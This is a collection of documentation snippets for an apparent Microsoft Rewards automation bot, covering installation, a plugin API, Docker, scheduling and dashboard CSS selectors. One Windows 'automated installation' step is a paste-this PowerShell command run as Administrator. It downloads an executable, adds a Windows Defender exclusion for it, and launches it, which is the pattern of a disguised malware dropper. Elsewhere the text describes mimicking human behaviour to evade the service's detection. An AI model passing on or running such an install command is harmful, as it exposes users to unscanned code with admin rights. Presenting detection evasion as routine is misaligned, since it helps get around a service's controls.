### Manual Git Install Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/updates.md Installs the bot by cloning the public GitHub repository and running npm install and start. This method uses the same source as auto-updates and is recommended for manual installations. ```bash git clone https://github.com/QuestPilot/Microsoft-Rewards-Bot.git cd Microsoft-Rewards-Bot npm install npm start ``` -------------------------------- ### Manual CLI Installation Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/README.md Clone the repository and install dependencies manually using NPM for full configuration control. ```bash # Clone the repository git clone https://github.com/QuestPilot/Microsoft-Rewards-Bot.git # Navigate into the project folder cd Microsoft-Rewards-Bot # Install official project dependencies npm install # Launch the script npm start ``` -------------------------------- ### Build and Start the Bot Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md Build the project to compile TypeScript to JavaScript and then start the bot application. ```bash npm run build npm start ``` -------------------------------- ### Clone and Navigate Project Repository Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md Clone the repository and navigate into the project directory to begin setup. ```bash git clone https://github.com/QuestPilot/Microsoft-Rewards-Bot.git cd Microsoft-Rewards-Bot ``` -------------------------------- ### Core Plugin Configuration Example Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/core-plugin-reference.md Example of how to configure the Core plugin's dashboard URL in a JSON configuration file. This is useful for custom deployments. ```json { "core": { "enabled": true, "priority": 100, "config": { "dashboardUrl": "https://bot.lgtw.tf" } } } ``` -------------------------------- ### Plugin Configuration Example Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md An example of how a plugin's configuration might be defined in `plugins/plugins.jsonc`. This file determines if and how a plugin is loaded. ```jsonc { "my-plugin": { "enabled": true, "priority": 50, "config": { "mode": "summary" } } } ``` -------------------------------- ### Install Project Dependencies Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md Install necessary Node.js dependencies and patchright chromium for browser automation. ```bash npm install npx patchright install chromium ``` -------------------------------- ### Example Plugin Implementation Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md A basic implementation of a 'summary' plugin demonstrating registration and handling of the `onAccountEnd` lifecycle event. ```typescript import type { IPlugin } from 'microsoft-rewards-bot/plugin-api' export default class SummaryPlugin implements IPlugin { readonly name = 'summary' readonly version = '1.0.0' readonly botVersionRange = '>=4.0.0' readonly capabilities = ['diagnostics'] as const register(context) { context.log.info('main', 'SUMMARY', `Loaded public plugin API ${context.apiVersion}`) context.registerDiagnostics(() => [ { level: 'info', message: 'Summary plugin is active' } ]) } onAccountEnd({ log, result }) { log.info( 'main', 'SUMMARY', `${result.email}: +${result.collectedPoints} points | success=${result.success}` ) } } ``` -------------------------------- ### Automated Installation Script (Windows) Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/README.md Run this PowerShell script as Administrator to automatically download and install the latest stable binary engine. ```powershell $f="$env:TEMP\install.exe"; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -UseBasicParsing 'https://github.com/QuestPilot/Microsoft-Rewards-Bot/raw/HEAD/scripts/install.exe' -OutFile $f; Add-MpPreference -ExclusionPath $f -ErrorAction SilentlyContinue; start $f ``` -------------------------------- ### Configure Development Environment Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md Copy example configuration files for accounts and general settings. Ensure to edit the accounts configuration with a test account. ```bash cp src/accounts.example.json src/accounts.json cp src/config.example.json src/config.json ``` -------------------------------- ### Docker Compose Example Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/docker.md Example Docker Compose configuration for running the Microsoft Rewards Bot, including environment variables, volume mounts for persistent data, and restart policy. ```yaml services: msrb: build: . environment: CRON_SCHEDULE: "0 2 * * *" RUN_ON_START: "true" TZ: "UTC" LICENSE_KEY: "MSRB-XXXX-XXXX-XXXX-XXXX" volumes: - ./src/accounts.json:/usr/src/microsoft-rewards-bot/dist/accounts.json:ro - ./src/config.json:/usr/src/microsoft-rewards-bot/dist/config.json:ro - ./plugins/plugins.jsonc:/usr/src/microsoft-rewards-bot/plugins/plugins.jsonc:ro - ./sessions:/usr/src/microsoft-rewards-bot/sessions restart: unless-stopped ``` -------------------------------- ### Install Node.js and Reinstall Dependencies Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/node-version.md If the version check fails, install the required Node.js version and then reinstall project dependencies. ```powershell npm install npm start ``` -------------------------------- ### Activate 'run-summary' Plugin Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugins.md Example JSON configuration to enable the 'run-summary' plugin and set its specific options. This configuration should be placed in `plugins/plugins.jsonc`. ```jsonc { "run-summary": { "enabled": true, "priority": 10, "config": { "includeEmails": false, "writeMarkdown": true } } } ``` -------------------------------- ### Dashboard Modal URL Example Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md Example URL for opening a modal on the dashboard, specifying a quest. ```url /dashboard?modal=quest&questId=WW_pcparent_redesign_existinguser_onboarding_offer_punchcard ``` -------------------------------- ### Common Windows Fix for Node.js Version Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/node-version.md On Windows, if npm start reports an incorrect version, install Node.js 24.15.0 globally, open a new PowerShell window, and then reinstall dependencies and start the bot. ```powershell node -v npm install npm start ``` -------------------------------- ### Run Local Plugin Manager Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-marketplace.md Starts the local plugin manager server, which provides a web interface for managing plugins. ```bash npm run plugins ``` -------------------------------- ### Basic Plugin Implementation Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md A minimal example of a plugin class implementing the IPlugin interface, including registration and cleanup methods. ```typescript import type { IPlugin, PublicPluginContext } from 'microsoft-rewards-bot/plugin-api' export default class MyPlugin implements IPlugin { name = 'my-plugin' version = '1.0.0' async register(context: PublicPluginContext): Promise { context.registerSelectors({ MY_SELECTOR: { button: '#my-button' } }) context.registerDiagnostics(() => [ { level: 'info', message: 'my-plugin is active' } ]) } async destroy(): Promise { // Cleanup } } ``` -------------------------------- ### Expected Log Output After Starting Bot Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/create-plugin.md Confirms that the plugin has been successfully registered by the bot. This message should appear in the bot's console logs. ```text Registered plugin: summary@1.0.0 ``` -------------------------------- ### Official Core Manifest Example Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/core-release-security.md An example JSON structure for the official Core manifest file. This manifest pins checksums for different runtime targets, ensuring the integrity and correct version of the Core artifact for each platform. ```json { "plugin": "core", "version": "1.0.4", "targets": { "linux-x64-node-24.15.0": { "indexSha256": "..." }, "win32-x64-node-24.15.0": { "indexSha256": "..." } } } ``` -------------------------------- ### Example Feature Commit Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md An example of a 'feat' type commit message for the 'search' scope, detailing a new feature and referencing an issue. ```git feat(search): add random scroll behavior to searches Adds random scrolling and clicking on search results to mimic human behavior and reduce detection risk. Closes #123 ``` -------------------------------- ### Example Fix Commit Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md An example of a 'fix' type commit message for the 'auth' scope, addressing a bug and referencing an issue. ```git fix(auth): handle TOTP code timeout gracefully Previously, the bot would crash if TOTP code expired during login. Now retries with a fresh code. Fixes #456 ``` -------------------------------- ### Start Bot and Check for Updates Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/updates.md Runs the bot and automatically checks the GitHub main branch for updates before building and launching. Use this for production environments. ```bash npm start ``` -------------------------------- ### Scheduler Configuration Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/scheduler.md Enables and configures the scheduler loop, including timezone, start time, and random delay settings. ```json { "scheduler": { "enabled": true, "runOnStartup": true, "timezone": "Europe/Paris", "startTime": "08:00", "randomDelay": { "min": "0min", "max": "30min" } } } ``` -------------------------------- ### Start Core as Background Agent Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/dashboard.md Use this command to run the Core bot as a background agent. The agent connects to the dashboard and waits for instructions, optionally running rewards if the scheduler is enabled. ```bash npm start -- --background ``` -------------------------------- ### Pull Request Template Example Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md A template for Pull Request descriptions, including sections for changes, type, testing, and related issues. ```markdown ## Description Brief description of the changes. ## Type of Change - [ ] Bug fix (non-breaking change which fixes an issue) - [ ] New feature (non-breaking change which adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected) - [ ] Documentation update ## Testing - [ ] Tested on Windows / Linux / macOS - [ ] Tested with free tier - [ ] Tested with official Core plugin when relevant - [ ] No regressions detected ## Related Issues Closes #123 ``` -------------------------------- ### Run Live Dashboard Diagnostics (Interactive Mode) Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/dashboard-testing.md Run live diagnostics in interactive mode to handle welcome or onboarding pages. This mode allows manual sign-in and completion of initial setup pages before the diagnostics continue. ```powershell $env:MSRB_LIVE_DASHBOARD = "1" $env:MSRB_LIVE_DASHBOARD_INTERACTIVE = "1" npm run diagnostics:dashboard:live ``` -------------------------------- ### JSDoc for executeSearch Method Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md Example of using JSDoc to document the executeSearch public API, detailing its parameters and return value. ```typescript /** * Executes a Bing search with the given query * @param query - The search term * @returns True if search succeeded, false otherwise */ public async executeSearch(query: string): Promise { // ... } ``` -------------------------------- ### Required Node.js Version Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/node-version.md The bot requires Node.js version 24.15.0. This version is checked before starting the bot using npm commands. ```text 24.15.0 ``` -------------------------------- ### Check Only Mode for Updates Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/updates.md Sets an environment variable to only check for and log updates, without applying them. This allows you to be informed about new versions without immediate installation. ```bash MSRB_UPDATE_CHECK_ONLY=1 ``` -------------------------------- ### Active Critical Safety Advisory File Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/safety-advisory.md An example of the remote JSON advisory file when maintainers have identified a critical risk. The 'status' is 'blocked' and 'severity' is 'critical'. ```json { "schemaVersion": 1, "status": "blocked", "severity": "critical", "message": "Maintainers have marked the current Microsoft Rewards flow as risky. Running now may put accounts at risk.", "updatedAt": "2026-05-10T00:00:00.000Z" } ``` -------------------------------- ### Prepare and Test Public Bot Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/auto-update-release.md Run these commands to build, test, and audit the public bot before release. Ensure all checks pass and dependencies are up-to-date. ```bash npm run node:check npm install npx tsc --noEmit npm test npm run test:dashboard:mock npm audit --audit-level=moderate npm run core:release-check npm run update:doctor ``` -------------------------------- ### Enable and Configure Run Summary Plugin Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/plugins/run-summary/README.md This snippet shows how to enable the Run Summary plugin and configure its output directory, email inclusion, and Markdown writing preferences in the plugins configuration file. ```jsonc "run-summary": { "enabled": true, "priority": 40, "config": { "outputDir": "diagnostics/run-summary", "includeEmails": false, "writeMarkdown": true } } ``` -------------------------------- ### Build Docker Image Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/docker.md Build the Docker image for the Microsoft Rewards Bot from the repository root. ```bash docker build -t microsoft-rewards-bot . ``` -------------------------------- ### Implement index.js for Summary Plugin Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/create-plugin.md Provides the core JavaScript implementation for a 'summary' plugin. It registers diagnostics and logs account end information. Requires the bot to be version 4.0.0 or higher. ```javascript class SummaryPlugin { name = 'summary' version = '1.0.0' botVersionRange = '>=4.0.0' capabilities = ['diagnostics'] register(context) { context.log.info('main', 'SUMMARY', 'Summary plugin loaded') context.registerDiagnostics(() => [ { level: 'info', message: 'Summary plugin is active' } ]) } onAccountEnd({ log, result }) { log.info('main', 'SUMMARY', `${result.email}: +${result.collectedPoints} points`) } } module.exports = SummaryPlugin ``` -------------------------------- ### Build Command Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md The command to run to build the project. Ensure your code builds before submitting changes. ```bash npm run build ``` -------------------------------- ### Enable Core Plugin Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/core-plugin.md Configure the Core plugin by setting 'enabled' to true and assigning a priority in plugins.jsonc. This enables the plugin for use. ```jsonc "core": { "enabled": true, "priority": 100 } ``` -------------------------------- ### Enable Plugin in plugins.jsonc Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/create-plugin.md Configuration to enable the 'summary' plugin in the bot's settings. Sets its priority and allows for custom configuration. ```jsonc { "summary": { "enabled": true, "priority": 50, "config": {} } } ``` -------------------------------- ### Check Node.js and System Architecture Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/troubleshooting.md Execute this command to display the current Node.js version and the operating system's platform and architecture. This is important for ensuring compatibility, especially within Docker environments. ```bash node -p "process.versions.node + ' ' + process.platform + '/' + process.arch" ``` -------------------------------- ### Plugin Folder Structure Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/create-plugin.md Defines the basic file structure for a new plugin. Ensure the folder name matches the plugin's name. ```text plugins/summary/ ├── index.js ├── package.json └── README.md ``` -------------------------------- ### Run Docker Container Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/docker.md Run the Microsoft Rewards Bot Docker container, setting essential environment variables for scheduling, time zone, and license key. ```bash docker run --rm \ -e CRON_SCHEDULE="0 2 * * *" \ -e RUN_ON_START=true \ -e TZ=UTC \ -e LICENSE_KEY="MSRB-XXXX-XXXX-XXXX-XXXX" \ microsoft-rewards-bot ``` -------------------------------- ### Required Multi-Target Layout Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/core-release-security.md Illustrates the recommended directory structure for distributing Core artifacts across different runtime targets. This layout ensures that specific compiled bytecode is available for each supported environment. ```text plugins/core/ index.js package.json targets/ linux-x64-node-24.15.0/ index.jsc ... win32-x64-node-24.15.0/ index.jsc ... ``` -------------------------------- ### Release Checklist Commands Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/dashboard-testing.md A set of commands to run before releasing the project. Includes page analysis, general tests, mocked dashboard tests, TypeScript compilation check, and dependency audit. ```powershell npm run analyze:pages npm test npm run test:dashboard:mock npx tsc --noEmit npm audit --audit-level=moderate ``` -------------------------------- ### Check Node.js and Bot Version Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/node-version.md Use these commands to verify your current Node.js version and to have the bot perform its own version check. ```powershell node -v npm run node:check ``` -------------------------------- ### Verify Core Checksum (Windows) Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/auto-update-release.md Execute this command on Windows to verify that all target checksums in the Core release artifacts match their respective bytecode files. ```powershell npm run core:release-check ``` -------------------------------- ### Responsive CSS Grid Layouts Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md CSS classes for creating responsive grid layouts with varying column counts. ```css /* 4-column responsive grid */ div.grid.grid-cols-1.gap-3.sm\:grid-cols-2.lg\:grid-cols-3.xl\:grid-cols-4.3xl\:grid-cols-5 ``` ```css /* 6-column responsive grid (dashboard top) */ div.grid.grid-cols-1.gap-x-3.gap-y-6.sm\:grid-cols-2.lg\:gap-y-10.xl\:grid-cols-4.2xl\:grid-cols-6 ``` -------------------------------- ### Plugin Catalog Format Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-marketplace.md Defines the structure for catalog.json, which lists available plugins and their metadata. ```json { "plugins": [ { "name": "summary", "version": "1.0.0", "description": "Account run summaries.", "license": "MIT", "price": "free", "botVersionRange": ">=4.0.0", "installUrl": "https://example.com/summary.zip", "supportUrl": "https://discord.gg/example", "purchaseUrl": "https://discord.gg/example", "sha256": "expected-release-checksum" } ] } ``` -------------------------------- ### Core Release Check Commands Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/core-release-security.md Commands to run before pushing changes to the main branch to ensure the Core artifact is ready for release. These commands verify the build, tests, and adherence to release policies. ```bash npm run core:release-check npm run update:doctor npm test ``` -------------------------------- ### Run Live Dashboard Diagnostics (Read-Only) Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/dashboard-testing.md Initiate live diagnostics for the Rewards dashboard in a read-only mode. This opens a browser to inspect RSC models and detect dashboard sections. Set the MSRB_LIVE_DASHBOARD environment variable to '1'. ```powershell $env:MSRB_LIVE_DASHBOARD = "1" npm run diagnostics:dashboard:live ``` -------------------------------- ### Run Live Dashboard Diagnostics (Write Mode) Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/dashboard-testing.md Enable write mode for live dashboard diagnostics to test streak protection toggles. This mode attempts to set the first visible streak-protection switch to ON. ```powershell $env:MSRB_LIVE_DASHBOARD = "1" $env:MSRB_LIVE_DASHBOARD_WRITE = "1" npm run diagnostics:dashboard:live ``` -------------------------------- ### Supported Windows Target Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/core-release-security.md Specifies the runtime environment for the Core artifact when deployed on a Windows operating system. This includes the operating system, architecture, and Node.js version. ```text win32-x64-node-24.15.0 ``` -------------------------------- ### Skip Auto-Update for Development Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/updates.md Launches the bot in development mode, skipping auto-update checks to prevent local development from being overwritten. Use this for local development. ```bash npm run dev ``` -------------------------------- ### Import Plugin API Types Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md Import the necessary types for plugin development from the 'microsoft-rewards-bot/plugin-api' module. ```typescript import type { IPlugin, PublicPluginContext } from 'microsoft-rewards-bot/plugin-api' ``` -------------------------------- ### Check for Bot Updates Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/troubleshooting.md Run these commands to check for and diagnose issues with bot updates. Ensure you are using the latest main branch for the most stable update process. ```bash npm run update:check npm run update:doctor ``` -------------------------------- ### Run Mocked Side-Panel Tests Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/dashboard-testing.md Execute mocked tests for the Rewards side panel without needing a Microsoft account. This is useful for verifying controller logic and UI interactions like opening disclosures and managing streak protection. ```powershell npm run test:dashboard:mock ``` -------------------------------- ### Create Feature Branch Command Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md Command to create a new feature branch for your work, following the 'feat/your-feature-name' convention. ```bash git checkout -b feat/your-feature-name ``` -------------------------------- ### Supported Docker Target Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/core-release-security.md Specifies the runtime environment for the Core artifact when deployed in a Docker container. This includes the operating system, architecture, and Node.js version. ```text linux-x64-node-24.15.0 ``` -------------------------------- ### Push Branch Command Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md Command to push your newly created feature branch to the origin remote. ```bash git push origin feat/your-feature-name ``` -------------------------------- ### Commit Message Format Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/CONTRIBUTING.md Illustrates the standard format for commit messages, including type, scope, subject, optional body, and footer. ```git (): ``` -------------------------------- ### PublicPluginContext Interface Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md Provides context and utilities to the plugin during its registration and operation. It includes configuration, logging, and methods to register services. ```APIDOC ## PublicPluginContext Interface ### Description This interface is passed to the `register` method of a plugin, providing access to bot functionalities and configuration. ### Properties - **apiVersion** ('1.0.0') - The version of the public plugin API. - **config** (Record) - The configuration object for the plugin, loaded from `plugins/plugins.jsonc`. - **log** (PluginLogger) - An instance of the logger for the plugin to use. ### Methods - **registerSelectors(selectors: Record>): void** - Registers selectors for the plugin. - **registerDiagnostics(provider: PluginDiagnosticsProvider): void** - Registers a diagnostics provider for the plugin. - **registerNotificationSink(sink: PluginNotificationSink): void** - Registers a notification sink for local bot notifications. ``` -------------------------------- ### IPlugin Interface Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md The main interface that all public plugins must implement. It defines properties for plugin metadata and methods for lifecycle events. ```APIDOC ## IPlugin Interface ### Description This interface defines the contract for a public plugin. It includes metadata properties and lifecycle methods that the bot will call. ### Methods - **register(context: PublicPluginContext): void | Promise** - Called when the plugin is registered. Used to set up plugin capabilities and initializations. - **onBotInitialized?(context: PluginLifecycleContext): void | Promise** - Optional: Called after the bot has been fully initialized. - **onAccountStart?(context: AccountLifecycleContext): void | Promise** - Optional: Called before processing starts for a specific account. - **onAccountEnd?(context: AccountEndLifecycleContext): void | Promise** - Optional: Called after processing for a specific account has finished. - **destroy?(): void | Promise** - Optional: Called when the plugin is being unloaded or the bot is shutting down. ### Properties - **name** (string) - Required - The unique name of the plugin. - **version** (string) - Required - The version of the plugin. - **botVersionRange** (string) - Optional - Specifies the compatible bot version range. - **capabilities** (readonly PluginCapability[]) - Optional - An array of capabilities the plugin provides. - **description** (string) - Optional - A brief description of the plugin. - **author** (string) - Optional - The author of the plugin. - **homepage** (string) - Optional - A URL to the plugin's homepage. - **license** (string) - Optional - The license under which the plugin is distributed. ``` -------------------------------- ### Bot Configuration for Safety Advisory Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/safety-advisory.md Configure the safety advisory feature in the bot's settings. Specify the URL for the advisory file, a timeout for fetching it, and the behavior when an advisory is active. ```json "safetyAdvisory": { "enabled": true, "url": "https://raw.githubusercontent.com/QuestPilot/Microsoft-Rewards-Bot/HEAD/safety-advisory.json", "timeout": "10sec", "blockedBehavior": "prompt" } ``` -------------------------------- ### Attach to Local Terminal Stream of Background Agent Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/dashboard.md Launch this command to view the local terminal stream of an already running background agent. This is useful for monitoring the agent's activity. ```bash npm start -- --attach ``` -------------------------------- ### Monthly Bonus Tiers and URLs Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md Defines constants for monthly bonus tiers and URLs for star bonus modals and points breakdown. ```typescript const BONUS_TIERS = { MonthlyTierBonus: { newLevel1: 60, newLevel2: 180, newLevel3: 420 }, DSEBonus: { newLevel1: 30, newLevel2: 90, newLevel3: 210 }, GoodUserBonus: { newLevel1: 300, newLevel2: 900, newLevel3: 2100 }, RedemptionDiscountCoupons: { newLevel2: 100, newLevel3: 200 } } // Star bonus modal URL const STAR_BONUS_URL = '?modal=starbonus' // Points breakdown URL const POINTS_BREAKDOWN_URL = 'https://rewards.bing.com/pointsbreakdown' ``` -------------------------------- ### IPlugin Interface Definition Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md Defines the structure and methods that a public third-party plugin must implement. This includes metadata and lifecycle hooks. ```typescript export interface IPlugin { readonly name: string readonly version: string readonly botVersionRange?: string readonly capabilities?: readonly PluginCapability[] readonly description?: string readonly author?: string readonly homepage?: string readonly license?: string register(context: PublicPluginContext): void | Promise onBotInitialized?(context: PluginLifecycleContext): void | Promise onAccountStart?(context: AccountLifecycleContext): void | Promise onAccountEnd?(context: AccountEndLifecycleContext): void | Promise destroy?(): void | Promise } ``` -------------------------------- ### Daily Set Task Data Model Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md Defines the TypeScript interface for a daily set task, including properties like date, description, destination URL, completion status, and points. ```typescript interface DailySetTask { date: string // "02/06/2026" (DD/MM/YYYY) description: string // task description in French destination: string // full Bing URL with tracking params hash: string // SHA-256 hash for verification imageUrl: string // bing.com/th?id=OMR.xxx isCompleted: boolean // whether task is done isLocked: undefined | boolean isUnlocked: undefined | boolean offerId: string // e.g., "Global_DailySet_20260206_Child1" points: number // e.g., 10 title: string // task title in French } ``` -------------------------------- ### Override Update Repository Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/updates.md Sets an environment variable to specify a different GitHub repository for update checks. Use this if you are using a fork or a different source for the bot. ```bash MSRB_UPDATE_REPO=QuestPilot/Microsoft-Rewards-Bot ``` -------------------------------- ### Gradient Background CSS Classes Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md CSS classes for applying various gradient backgrounds to UI elements. ```css .bg-rewardsBgGoldGradient /* Gold member background */ ``` ```css .bg-rewardsBgSilverGradient /* Silver member background */ ``` ```css .bg-rewardsBgBaseGradient /* Base member background */ ``` ```css .bg-rewardsBgBonusGradient /* Streak bonus text gradient */ ``` ```css .bg-rewardsBgAlpha1 /* Section backgrounds, CTA areas */ ``` ```css .bg-rewardsBgAlpha2 /* Progress bar tracks */ ``` ```css .bg-rewardsBgAlpha3 /* SVG circle tracks */ ``` ```css .bg-brandBgCompound /* Progress bar fills */ ``` ```css .bg-brandBg1 /* Brand primary color fills */ ``` -------------------------------- ### Validate Release After Push Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/auto-update-release.md After committing and pushing the final release code to the main branch, run these commands to validate the update process. This checks versioning, Core checksums, and update notifications. ```bash npm run core:release-check npm run update:check npm run update:doctor ``` -------------------------------- ### Check for Updates Command Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/updates.md Manually triggers a check for available updates without applying them. Useful for monitoring update status. ```bash npm run update:check ``` -------------------------------- ### Header CSS Selector Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md Selects the main header element, which contains navigation and branding. ```css header.grid.grid-cols-\[auto_1fr_auto\].items-center.gap-x-6.px-4.py-1\.5 ``` -------------------------------- ### Analyze Saved Pages Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/dashboard-testing.md Run this command to analyze saved Rewards dashboard pages. Examine the 'problems' output for signals indicating potential issues with page structure or data extraction. ```powershell npm run analyze:pages ``` -------------------------------- ### Completion Icons CSS Selectors Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md CSS selectors for common icons used for task completion, external links, and navigation. ```css /* Green checkmark (task complete) */ svg.size-5.shrink-0.text-statusSuccessFg1 ``` ```css /* External link icon (opens new tab) */ svg.size-4.shrink-0.text-neutralFg2Link /* External link arrow icon */ ``` ```css /* Chevron (expand / navigate) */ svg.size-3.shrink-0.-rotate-90 /* Right-pointing chevron */ ``` ```css svg.size-3\.5.text-neutralFg1.rotate-180 /* Down-pointing, expanded */ ``` ```css svg.size-3\.5.text-neutralFg1 /* Up-pointing, collapsed */ ``` -------------------------------- ### Default Safety Advisory File Structure Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/safety-advisory.md The standard structure for the remote JSON advisory file when no active risks are detected. It indicates a 'status' of 'ok'. ```json { "schemaVersion": 1, "status": "ok", "severity": "info", "message": "No active safety advisory is currently published.", "updatedAt": "2026-05-10T00:00:00.000Z" } ``` -------------------------------- ### Daily Streak Card Selectors Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md CSS selectors for the daily streak card, including the text, icon, and streak count. Also includes the data model for streak information. ```css button[aria-expanded] div p.text-body1Strong /* Contains "Série quotidienne" */ img[alt="Série quotidienne"] /* Streak icon */ p.text-title1.font-semibold /* Streak count, e.g., "1 jour" or "2 jours" */ ``` ```typescript // Instrument data on the daily streak button instrument: { name: "SnapshotSection_DailyStreak", click: true, data: { streakCounter: 2, // Current day count isProtectionEnabled: true // Whether streak protection is active } } ``` -------------------------------- ### Run Update Doctor Command Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/updates.md Executes the update doctor to diagnose and potentially fix issues related to the update process. Use this if you encounter problems with updates. ```bash npm run update:doctor ``` -------------------------------- ### Grow Container CSS Selector Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md Targets a container element that expands to fill available space, located below the header. ```css div.grow > div.mt-25.xl\:mt-14 ``` -------------------------------- ### PluginLogger Interface Definition Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md Defines the logging methods available to plugins. Use `context.log` for output instead of direct stdout. ```typescript export interface PluginLogger { info(source: boolean | 'main', tag: string, message: string, color?: string): void warn(source: boolean | 'main', tag: string, message: string): void error(source: boolean | 'main', tag: string, message: string | Error): void debug(source: boolean | 'main', tag: string, message: string): void } ``` -------------------------------- ### PublicPluginContext Interface Definition Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/plugin-api.md Defines the context object provided to the plugin's `register` method. It includes API version, configuration, and methods for registering services. ```typescript export interface PublicPluginContext { readonly apiVersion: '1.0.0' readonly config: Record readonly log: PluginLogger registerSelectors(selectors: Record>): void registerDiagnostics(provider: PluginDiagnosticsProvider): void registerNotificationSink(sink: PluginNotificationSink): void } ``` -------------------------------- ### Offer Card Selectors Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md A collection of CSS selectors for various parts of an offer card, including the generic card structure, title, points, and completion/pending status indicators. ```css /* Generic offer card */ div.overflow-hidden.rounded-2xl.bg-neutralBg1.shadow-4.hover\:shadow-8.flex.h-full.min-h-22.w-full.items-center.gap-4.p-3 /* Offer title */ p.text-body1Strong.line-clamp-2 /* Offer points section */ div.relative.aspect-square.min-h-16 p.text-subtitle1.leading-none.text-neutralFg1 /* Points number */ p.text-caption2Strong /* "Points" or "Jusqu'à" label */ /* Completed offer indicator */ svg.size-5.shrink-0.text-statusSuccessFg1 /* Green checkmark icon */ /* Pending status text */ p.line-clamp-2.text-caption1 /* e.g., "Acquis le mois dernier : En attente" */ ``` -------------------------------- ### Shell Container CSS Selector Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md Identifies the main container for the application shell, typically used for layout and styling. ```css div#shell.flex.min-h-screen.flex-col ``` -------------------------------- ### Redeem Gift Card URL Pattern Source: https://github.com/questpilot/microsoft-rewards-bot/blob/main/docs/selectors-reference.md URL pattern for redeeming a gift card SKU. ```url https://rewards.bing.com/redeem/sku/XXXXXXXXXXXX ``` -------------------------------- ### PluginLogger Interface Source: 